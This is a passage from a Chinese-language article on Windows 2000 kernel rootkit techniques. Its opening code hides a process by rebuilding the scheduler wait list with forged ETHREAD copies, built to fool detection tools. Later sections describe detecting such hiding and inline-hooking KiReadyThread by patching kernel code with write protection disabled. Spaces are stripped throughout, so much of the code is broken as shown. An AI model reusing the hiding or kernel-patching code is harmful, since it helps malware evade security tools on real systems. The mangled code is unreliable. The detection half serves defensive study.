pLastEntry=pKiWaitInListHead->Blink;
pNewKiWaitInListHead->Flink=pFirstEntry;
pNewKiWaitInListHead->Blink=pLastEntry;
pFirstEntry->Blink=pNewKiWaitInListHead;
pLastEntry->Flink=pNewKiWaitInListHead;
剩下的就是在原來的線程調度鏈表上做文章了使其基于線程調度檢測系統看不出什么異端.
for(;;)
{
InitializeListHead(pKiWaitInListHead);
for(pEntry=pNewKiWaitInListHead->Flink;
pEntry&&pEntry!=pNewKiWaitInListHead;
pEntry=pEntry->Flink)
{
pETHREAD=(PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS=(PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID=*(PULONG)(((PCHAR)pEPROCESS)+0x9c);
if(PID==0x8)
continue;
pFakeETHREAD=ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD,pETHREAD,sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitInListHead,&pFakeETHREAD->WaitListEntry);
}
...休息一段時間
}
首先每過一小段時間就把原來的線程調度鏈表清空,然后遍歷當前的線程調度鏈,判斷鏈中的每一個KPROCESS塊是不是要屬于要隱藏的進程線程,如果是就跳過,不是就自己構造一個ETHREAD塊把當前的信息拷貝過去,然后把自己構造的ETHREAD塊加入到原來的調度鏈表中。為什么要自己構造一個ETHREAD?其原因主要有2個,其一為了使檢測系統看起來更可信,如果僅僅清空原來的線程調度鏈表那么檢測系統將查不出來任何的線程和進程信息,
很明顯,這無疑不打自招的說,系統里面已經有東西了。其二,如果把自己構造的ETHREAD塊掛接在原調度鏈表中,檢測系統會訪問掛在原來調度鏈表上的ETHREAD塊里面的成員,如果不自己構造一個和真實ETHREAD塊重要信息一樣的塊,那么檢測系統很有可能出現非法訪問,然后就boom蘭屏了。
實際上所謂的繞過系統檢測僅僅是針對基于線程調度的檢測進程的防御系統而言的,其實系統依舊在進行線程調度,訪問的是我們新建的鏈表頭部。而檢測系統訪問的是原來的頭部,他后面的數據項是我們自己申請的,系統并不訪問。
5.檢測繞過內核調度鏈表隱藏進程
一般情況下我們是通過內核調試器得到那三條鏈表的內核地址,然后進行枚舉。這就給隱藏者留下了機會,如上面所示。但是我們完全可以把上面那種隱藏進程檢測出來。我們也通過在內核函數中取得硬編碼的辦法來分別取得他們的鏈表頭的地址。如上面我們已經看見了KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的繞過內核調度鏈表檢測辦法同時也去要修改KiFindReadyThread+0x48+3的值為新鏈表的頭部地址。所以我們的檢測系統完全可以從KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead,KiWaitOutListhead也都到使用他們的相應的內核函數里面去取得地址。就算原地址被修改過,我們也能把修改過后的調度鏈表頭給找出來。所以欺騙就不行了。
Hook內核函數(KiReadyThread)檢測進程
1.介紹通用Hook內核函數的方法
當我們要攔截目標函數的時候,只要修改原函數頭5個字節的機器代碼為一個JMPXXXXXXXX(XXXXXXXX是距自己的Hook函數的偏移量)就行了。并且保存原來修改前的5個字節。在跳入原函數時,恢復那5個字節即可。
charJmpMyCode[]={0xE9,0x00,0x00,0x00,0x00};//E9對應Jmp偏移量指令
*((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//獲得偏移量
memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原來的代碼
memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆蓋前一個命令為一個跳轉指令
在系統內核級中,MS的很多信息都沒公開,包括函數的參數數目,每個參數的類型等。在系統內核中,訪問了大量的寄存器,而很多寄存器的值,是上層調用者提供的。如果值改變系統就會變得不穩定。很可能出現不可想象的后果。另外有時候對需要Hook的函數的參數不了解,所以不能隨便就去改變它的堆棧,如果不小心也有可能導致藍屏。所以Hook的最佳原則是在自己的Hook函數中呼叫原函數的時候,所有的寄存器值,堆棧里面的值和Hook前的信息一樣。這樣就能保證在原函數中不會出錯。一般我們自己的Hook的函數都是寫在C文件里面的。例如Hook的目標函數KiReadyThread。那么一般就自己實現一個:
MyKiReadyThread(...)
{
......
callKiReadyThread
......
}
但是用C編譯器編譯出來的代碼會出現一個堆棧幀:
Pushebp
movebp,esp
這就和我們的初衷不改變寄存器的數違背了。所以我們可以自己用匯編來實MyKiReadyThread。
_MyKiReadyThread@0proc
pushad;保存通用寄存器
call_cfunc@0;這里是在進入原來函數前進行的一些處理。
popad;恢復通用寄存器
pusheax
moveax,[esp+4];得到系統在call目標函數時入棧的返回地址。
movds:_OrgRet,eax;保存在一個臨時變量中
popeax
mov[esp],retaddr;把目標函數的返回地址改成自己的代碼空間的返回地址,使其返回后能接手繼續的處理
jmp_OrgDestFunction;跳到原目標函數中
retaddr:
pushad;原函數處理完后保存寄存器
call_HookDestFunction@0;再Hook
popad;回復寄存器
jmpds:_OrgRet;跳到系統調用目標函數的下一條指令。
_MyKiReadyThread@0endp
在實現了Hook過后在當調用原來的函數時(jmp_OrgDestFunction),這個時候所以寄存器的值和堆棧信息和沒Hook的時候一樣。在返回到系統的時候(jmpds:_OrgRet),這個時候的堆棧信息和寄存器的值和沒有Hook的時候也是一樣。就說是中間Hook層對下面和上面都是透明的。
2.檢測隱藏進程
在線程調度搶占的的時候會調用KiReadyThread,它的原型為:
VOIDFASTCALLKiReadyThread(INPRKTHREADThread);
在進入KiReadyThread時,ecx指向Thread。所以完全可以HookKiReadyThread然后用ecx的值得到但前線程的進程信息。KiReadyThread沒被ntosknrl.exe導出,所以通過硬編碼來。在2000Sp4中地址為0x8043141f。
voidcfunc(void)
{
ULONGPKHeader=0;
__asm
{
movPKHeader,ecx//ecx寄存器是KiReadyThread中的PRKTHREAD參數
}
ResumeDestFunction();//恢復頭5個字節
if(PKHeader!=0)
{
DisplayName((PKTHREAD)PKHeader);
}
}
cfun是Hook函數調用用來得到當前線程搶占的進程信息的。
voidDisplayName(PKTHREADThread)
{
PKPROCESSProcess=Thread->ApcState.Process;
PEPROCESSpEprocess=(PEPROCESS)Process;
DbgPrint("ImageFileName=%s\n",pEprocess->ImageFileName);
}
voidHookDestFunction()//設置頭個字節為一個跳轉指令,跳到自己的函數中去
{
DisableWriteProtect(&orgcr0);
memcpy((char*)OrgDestFunction,JmpMyCode,5);
EnableWriteProtect(orgcr0);
}
voidResumeDestFunction()//恢復頭5個字節
{
DisableWriteProtect(&orgcr0);
memcpy((char*)OrgDestFunction,OrgCode,5);
EnableWriteProtect(orgcr0);
}
除了KiReadyThread其他還可以Hook其他內核函數,只有hook過后能得到線程或者是進程的ETHREAD或者是EPROCESS結構頭地址。其Hook的方法都是一樣的。HookKiReadyThread基本原來說明了,詳細實現可以見我的另外一篇文章《內核級利用通用Hook函數方法檢測進程》。
結論
以上對內核級進程隱藏和偵測做了一個總結和對每一種方法的原理進行的詳細闡述,并給出了核心的實現代碼。
信息安全將是未來發展的一個重點,攻擊和偵測都有一個向底層靠攏的趨勢。進程隱藏和偵測只是信息安全中的很小的一個部分。未來病毒和反病毒底層化是一個不可逆轉的事實。通過對系統系統底層分析能更好的了解病毒技術,從而能夠有效的進行查殺。為以后從事信息安全方面的研究奠定一個好的基礎。